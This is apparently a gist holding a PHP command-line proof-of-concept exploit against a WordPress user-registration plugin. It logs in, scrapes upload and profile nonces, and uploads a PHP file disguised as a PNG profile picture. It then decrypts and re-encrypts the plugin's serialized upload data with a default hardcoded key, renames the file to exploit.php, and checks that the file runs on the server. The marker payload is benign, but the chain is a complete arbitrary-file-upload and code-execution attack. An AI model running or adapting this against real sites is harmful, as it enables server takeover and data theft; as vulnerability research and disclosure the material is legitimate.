Created
July 14, 2023 19:23
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<?php | |
if ( php_sapi_name() !== 'cli' ) { | |
die( sprintf( '%s can only be run from command line', basename( __FILE__ ) ) ); | |
} | |
function crypt_the_string( $string, $action = 'e' ) { | |
$secret_key = 'ur_secret_key'; | |
$secret_iv = 'ur_secret_iv'; | |
$output = false; | |
$encrypt_method = 'AES-256-CBC'; | |
$key = hash( 'sha256', $secret_key ); | |
$iv = substr( hash( 'sha256', $secret_iv ), 0, 16 ); | |
if ( 'e' == $action ) { | |
if ( function_exists( 'openssl_encrypt' ) ) { | |
$output = base64_encode( openssl_encrypt( $string, $encrypt_method, $key, 0, $iv ) ); | |
} else { | |
$output = base64_encode( $string ); | |
} | |
} elseif ( 'd' == $action ) { | |
if ( function_exists( 'openssl_decrypt' ) ) { | |
$output = openssl_decrypt( base64_decode( $string ), $encrypt_method, $key, 0, $iv ); | |
} else { | |
$output = base64_decode( $string ); | |
} | |
} | |
return $output; | |
} | |
$options = getopt( 'hw:u:p:', array( 'website_url:', 'username:', 'password:' ) ); | |
$website_url = 'https://lana.solutions/vdb/wpeverest-user-registration/'; | |
$username = 'demo'; | |
$password = 'demo'; | |
$cli_parameters = array( | |
'w' => '<website_url>', | |
'u' => '<username>', | |
'p' => '<password>', | |
); | |
$cli_usage = sprintf( 'Usage: php %s %s', basename( __FILE__ ), implode( ' ', array_map( function ( $name, $value ) { | |
return sprintf( '-%s %s', $name, $value ); | |
}, array_keys( $cli_parameters ), array_values( $cli_parameters ) ) ) ); | |
foreach ( $options as $opt => $arg ) { | |
switch ( $opt ) { | |
case 'h': | |
echo $cli_usage . PHP_EOL; | |
exit(); | |
case 'w': | |
case 'website_url': | |
$website_url = $arg; | |
break; | |
case 'u': | |
case 'username': | |
$username = $arg; | |
break; | |
case 'p': | |
case 'password': | |
$password = $arg; | |
break; | |
} | |
} | |
/** check website url */ | |
if ( ! $website_url ) { | |
die( 'Please provide the WordPress website URL!' . PHP_EOL . $cli_usage . PHP_EOL ); | |
} | |
/** check website url is valid */ | |
if ( ! filter_var( $website_url, FILTER_VALIDATE_URL ) ) { | |
die( 'Invalid WordPress website URL:' . $website_url . PHP_EOL ); | |
} | |
$cookiejar = __DIR__ . '/cookies.txt'; | |
/** format url */ | |
$website_url = rtrim( $website_url, '/' ); | |
/** login request */ | |
$curl = curl_init(); | |
curl_setopt_array( $curl, array( | |
CURLOPT_URL => $website_url . '/wp-login.php', | |
CURLOPT_RETURNTRANSFER => true, | |
CURLOPT_FOLLOWLOCATION => false, | |
CURLOPT_POST => true, | |
CURLOPT_POSTFIELDS => http_build_query( array( | |
'log' => $username, | |
'pwd' => $password, | |
) ), | |
CURLOPT_HTTPHEADER => array( | |
'Content-Type application/x-www-form-urlencoded', | |
), | |
CURLOPT_COOKIEJAR => $cookiejar, | |
CURLOPT_COOKIEFILE => $cookiejar, | |
) ); | |
curl_exec( $curl ); | |
curl_close( $curl ); | |
/** get nonce value from js */ | |
$curl = curl_init(); | |
curl_setopt_array( $curl, array( | |
CURLOPT_URL => $website_url . '/my-account/edit-profile/', | |
CURLOPT_RETURNTRANSFER => true, | |
CURLOPT_FOLLOWLOCATION => true, | |
CURLOPT_CUSTOMREQUEST => 'GET', | |
CURLOPT_COOKIEJAR => $cookiejar, | |
CURLOPT_COOKIEFILE => $cookiejar, | |
) ); | |
$response = curl_exec( $curl ); | |
curl_close( $curl ); | |
if ( preg_match( '/"user_registration_profile_picture_upload_nonce":"(.*?)"/', $response, $matches ) ) { | |
$user_registration_profile_picture_upload_nonce = $matches[1]; | |
} else { | |
die( 'The upload ajax nonce is not found on the WordPress website.' . PHP_EOL ); | |
} | |
if ( preg_match( '/<input[^>]*id="_wpnonce"[^>]*value="([^"]+)"/', $response, $matches ) ) { | |
$save_profile_details_nonce = $matches[1]; | |
} else { | |
die( 'The save form nonce is not found on the WordPress website.' . PHP_EOL ); | |
} | |
/** generate exploit temp file */ | |
$exploit_file_content = <<<PHP | |
<?php | |
echo 'md5("exploit"): ' . md5( 'exploit' ); | |
PHP; | |
$temp_filename = tempnam( sys_get_temp_dir(), 'exploit' ); | |
file_put_contents( $temp_filename, $exploit_file_content ); | |
/** upload exploit file as profile picture */ | |
$curl = curl_init(); | |
curl_setopt_array( $curl, array( | |
CURLOPT_URL => $website_url . '/wp-admin/admin-ajax.php' . '?' . http_build_query( array( | |
'action' => 'user_registration_profile_pic_upload', | |
'security' => $user_registration_profile_picture_upload_nonce, | |
) ), | |
CURLOPT_RETURNTRANSFER => true, | |
CURLOPT_POST => true, | |
CURLOPT_POSTFIELDS => array( | |
'file' => new CURLFile( $temp_filename, 'image/png', 'exploit.png' ), | |
), | |
CURLOPT_COOKIEJAR => $cookiejar, | |
CURLOPT_COOKIEFILE => $cookiejar, | |
) ); | |
$response = curl_exec( $curl ); | |
curl_close( $curl ); | |
$response_json = json_decode( $response, true ); | |
$upload_files = array(); | |
if ( $response_json['success'] ) { | |
$upload_files = unserialize( crypt_the_string( $response_json['data']['upload_files'], 'd' ) ); | |
} else { | |
/** get error message */ | |
die( $response_json['data']['message'] . PHP_EOL ); | |
} | |
/** change file name */ | |
$upload_files['file_name'] = 'exploit.php'; | |
/** save profile (with rename exploit file to php) */ | |
$curl = curl_init(); | |
curl_setopt_array( $curl, array( | |
CURLOPT_URL => $website_url . '/my-account/edit-profile/', | |
CURLOPT_RETURNTRANSFER => true, | |
CURLOPT_FOLLOWLOCATION => false, | |
CURLOPT_POST => true, | |
CURLOPT_POSTFIELDS => http_build_query( array( | |
'action' => 'save_profile_details', | |
'_wpnonce' => $save_profile_details_nonce, | |
'user_registration_user_login' => $username, | |
'profile_pic_url' => crypt_the_string( serialize( $upload_files ), 'e' ), | |
) ), | |
CURLOPT_HTTPHEADER => array( | |
'Content-Type application/x-www-form-urlencoded', | |
), | |
CURLOPT_COOKIEJAR => $cookiejar, | |
CURLOPT_COOKIEFILE => $cookiejar, | |
) ); | |
$response = curl_exec( $curl ); | |
curl_close( $curl ); | |
/** test uploaded file */ | |
$curl = curl_init(); | |
curl_setopt_array( $curl, array( | |
CURLOPT_URL => $website_url . '/wp-content/uploads/user_registration_uploads/profile-pictures/exploit.php', | |
CURLOPT_RETURNTRANSFER => true, | |
) ); | |
$response = curl_exec( $curl ); | |
curl_close( $curl ); | |
if ( false !== strpos( $response, '708697c63f7eb369319c6523380bdf7a' ) ) { | |
echo 'The file exists and contains the exploit.'; | |
} |
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